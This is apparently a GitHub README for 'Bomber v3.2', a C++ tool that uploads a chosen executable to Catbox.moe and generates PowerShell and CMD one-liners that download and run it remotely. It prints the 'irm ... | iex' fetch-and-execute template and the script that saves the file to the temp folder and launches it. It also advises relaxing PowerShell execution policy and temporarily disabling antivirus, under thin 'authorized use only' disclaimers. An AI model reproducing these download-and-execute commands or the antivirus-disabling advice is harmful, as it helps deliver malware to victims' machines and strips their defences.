Bomber v3.2 is a professional C++ utility designed to simplify the process of creating concise downloader scripts for programmers and security researchers. The tool generates one-liner commands (PowerShell and CMD) that can download and execute files from remote servers, making deployment and distribution more efficient.
- File Upload: Automatically uploads selected files to Catbox.moe file hosting
- One-Liner Generation: Creates compact PowerShell and CMD commands for remote file execution
- Command History: Keeps track of all generated commands with timestamps
- Export Functionality: Save generated commands to a text file for later use
- Modern UI: Clean, professional interface with dark theme and visual effects
- Clipboard Integration: Easy copy functionality for generated commands
- Windows 7 or later
- Microsoft Visual C++ Redistributable
- Internet connection (for file upload functionality)
- Download the latest release from the Releases section
- Extract the ZIP file
- Run
Bomber.exe
- Clone the repository:
git clone https://github.com/876N/bomber-v3.2.git - Open the solution in Visual Studio 2019 or later
- Build the project in Release mode
- Run the compiled executable
BomberCpp/
├── Bomber.sln # Visual Studio solution file
├── ImGui Standalone/
│ ├── Bomber.rc # Resource file
│ ├── Bomber.aps # Binary resource file
│ ├── icon1.ico # Application icon
│ ├── ImGui Standalone.vcxproj # Project file
│ ├── ImGui Standalone.vcxproj.filters
│ ├── ImGui Standalone.vcxproj.user
│ ├── main.cpp # Application entry point
│ ├── pch.h # Precompiled header
│ ├── resource.h # Resource definitions
│ ├── ImGui/ # ImGui library files
│ ├── src/
│ │ ├── UI.cpp # Window management
│ │ ├── UI.h # Window management header
│ │ ├── ui/
│ │ │ ├── Drawing.cpp # Interface rendering
│ │ │ └── Drawing.h # Interface rendering header
│ │ └── ext/
│ │ ├── MasonBomber.cpp # Core upload/download logic
│ │ └── MasonBomber.h # Core logic header
│ └── x64/ # Build output directory
- Launch Bomber v3.2
- Click the "Browse File..." button
- Select the executable or script file you want to distribute
- The selected file path will appear in the interface
- Click the "Generate Command Downloader" button
- The application will:
- Upload your file to Catbox.moe
- Create a PowerShell download script
- Generate a one-liner command
- Status updates will appear during the process
- The generated command will appear in the history section
- Click "Copy" next to any command to copy it to clipboard
- Use the command in:
- CMD terminals
- PowerShell sessions
- Batch scripts
- Other deployment methods
- History Management: All generated commands are saved in session history
- Export History: Click "Save as .txt" to export all generated commands to a text file
- Direct Links: The signature "ByABOLHB" contains embedded links (click to explore)
The tool creates commands in this format: `` powershell "irm catbox.moe/[RANDOM] | iex"
Where the PowerShell script contains:
$url = 'catbox.moe/[FILENAME]' $tempFile = Join-Path $env:TEMP '[ORIGINAL_FILENAME]' Invoke-WebRequest -Uri $url -OutFile $tempFile Start-Process -FilePath $tempFile - Wait
## Technical Details
### Dependencies
- Windows API (wininet, shell32, comdlg32, user32)
- Dear ImGui for graphical interface
- DirectX 11 for rendering
### Key Components
#### MasonBomber Class
Located in `src/ext/MasonBomber.cpp/.h`
- Handles file uploads to Catbox.moe
- Generates random filenames
- Creates PowerShell scripts
- Manages one-liner command generation
#### Drawing Class
Located in `src/ui/Drawing.cpp/.h`
- Implements the graphical user interface
- Manages visual styling and effects
- Handles user interactions
- Displays generated commands and history
#### UI Class
Located in `src/UI.cpp/.h`
- Manages window creation and events
- Handles DirectX 11 rendering
- Processes Windows messages
- Coordinates between components
#### Main Entry Point
Located in `main.cpp`
- Application startup
- Initializes the UI system
## Building Instructions
### Prerequisites
- Visual Studio 2019 or later with C++ support
- Windows SDK
- DirectX SDK (optional, for advanced features)
### Build Steps
1. **Open Solution**
Open "Bomber.sln" in Visual Studio
2. **Configure Build Settings**
- Select "Release" configuration
- Choose "x86" platform
- Ensure all dependencies are properly linked
3. **Build Project**
- Right-click on "ImGui Standalone" project
- Select "Build"
- The executable will be created in `x86/Release/` directory
4. **Troubleshooting Build Issues**
- Ensure ImGui files are properly included
- Verify Windows SDK version compatibility
- Check library paths for wininet, shell32, comdlg32, and user32
## Security Notes
⚠️ **Important**: This tool is intended for legitimate purposes only:
1. **Authorized Use Only**: Use only on systems you own or have explicit permission to access
2. **Educational Purpose**: Suitable for learning about remote deployment techniques
3. **Security Testing**: May be used in authorized penetration testing engagements
4. **Compliance**: Ensure compliance with all applicable laws and regulations
The creator (ABOLHB&KSR) assumes no responsibility for misuse of this software.
## Troubleshooting
### Common Issues
1. **Upload Fails**: Check internet connection and ensure Catbox.moe is accessible
2. **File Not Found**: Verify the selected file exists and isn't in use by another process
3. **Command Doesn't Execute**: Ensure PowerShell execution policy allows remote scripts
```powershell
Set-ExecutionPolicy -Scope CurrentUser RemoteSigned
- "File does not exist!" - The selected file was moved or deleted
- "Failed to upload file" - Network issue or hosting service problem
- "Failed to create PowerShell script" - File permission or disk space issue
- Missing DLLs: Ensure Microsoft Visual C++ Redistributable is installed
- Administrator Privileges: Some operations may require elevated permissions
- Antivirus Interference: Temporarily disable antivirus if it blocks upload functionality
- Modify MasonBomber.cpp for core logic changes
- Update Drawing.cpp for interface modifications
- Edit UI.cpp for window management changes
- Use descriptive variable names
- Add comments for complex logic
- Follow existing formatting conventions
- Test changes thoroughly before committing
- Fork the repository
- Create a feature branch
- Make your changes
- Submit a pull request with detailed description
- Enhanced user interface with visual effects
- Improved file upload reliability
- Added command history with timestamps
- Implemented export functionality
- Fixed various bugs and performance issues
This project is released as open-source software. See LICENSE file for details.
Developed by Freemasonry
Copyright © 2024 FREEMASONRY. All rights reserved.
For issues, feature requests, or contributions:
- Open an Issue on GitHub
- Check existing documentation
- Review the source code for implementation details
Disclaimer: Use this tool responsibly and only in environments where you have explicit permission. The developer is not responsible for any misuse or damage caused by this software.

